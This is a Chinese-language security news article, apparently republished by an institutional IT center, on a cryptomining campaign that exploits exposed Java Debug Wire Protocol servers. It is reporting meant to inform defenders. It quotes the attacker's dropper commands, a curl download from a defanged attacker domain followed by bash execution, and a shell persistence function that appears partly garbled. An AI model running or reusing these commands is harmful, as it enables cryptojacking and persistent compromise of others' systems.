黑客利用暴露在公网的Java调试协议服务器部署挖矿恶意软件

文章来源:信息化建设与管理中心发布时间:2025-07-04浏览次数:10

网络安全研究人员发现新一轮网络攻击正针对那些无意中将Java调试线协议(JDWP)服务器暴露在互联网上的组织机构。攻击者利用这一被忽视的入口点,部署复杂的加密货币挖矿恶意软件。

漏洞利用机制

JDWP作为Java平台的标准功能,本意是让开发人员能够检查实时应用程序,从而促进远程调试。但当JDWP在生产系统中保持可访问状态时——通常由于配置错误或在生产环境中使用开发标志——它就会成为远程代码执行的强大载体。

这种威胁的出现伴随着快速的利用周期。在多个观察到的案例中,攻击者能够在系统暴露后数小时内入侵易受攻击的机器。攻击流程通常始于对开放JDWP端口(最常见的是5005端口)的大规模互联网扫描。一旦识别到目标,攻击者会发起JDWP握手以确认服务处于活动状态,然后建立会话,获得对Java虚拟机(JVM)的交互式访问权限。这种访问权限使攻击者能够枚举加载的类并调用方法,最终实现在主机上执行任意命令。

攻击技术分析

Wiz安全分析师在观察到针对其TeamCity(一种流行的CI/CD工具)蜜罐服务器的利用尝试后,确认了此次攻击活动。攻击者表现出高度的自动化和定制化能力,部署了经过修改的XMRig挖矿程序,其中包含硬编码配置以规避检测。

值得注意的是,该恶意软件使用矿池代理来隐藏目标钱包地址,增加了追踪或破坏非法挖矿操作的难度。这些攻击的影响十分严重。通过滥用JDWP,威胁行为者不仅可以部署挖矿程序,还能建立深度持久性、操纵系统进程,并可能转向入侵环境中的其他资产。恶意软件隐蔽的特性,加上其能够伪装成合法系统工具的能力,增加了长期未被发现活动和资源耗尽的风险。

感染链剖析

聚焦感染机制,攻击者利用JDWP缺乏身份验证的特点,直接通过协议注入和执行shell命令。建立会话后,他们通常会使用如下命令下载投放器脚本。

curl -o /tmp/logservice.sh -s https://canonicalconnect[.]com/logservice.sh

bash /tmp/logservice.sh

该脚本经过精心设计,能够终止竞争挖矿程序,下载伪装成logrotate的恶意XMRig二进制文件,并将其安装到用户的配置目录中。随后,脚本会设置多种持久化机制,包括修改shell启动文件、创建定时任务以及安装伪造的系统服务。

add_to_startup() {

if [ -r q ]; then

 if ! grep -Fxq $EXEC >/dev/null 2>&1 q; then

  echo $EXEC >/dev/null 2>&1 >> q

 fi

fi

}

这种感染链既高效又具有弹性,使得挖矿程序能够在系统重启和用户登录后继续存活。攻击者使用看似合法的进程名称和系统位置,进一步增加了检测和修复的难度,这凸显了加强配置管理和严格监控暴露服务的必要性。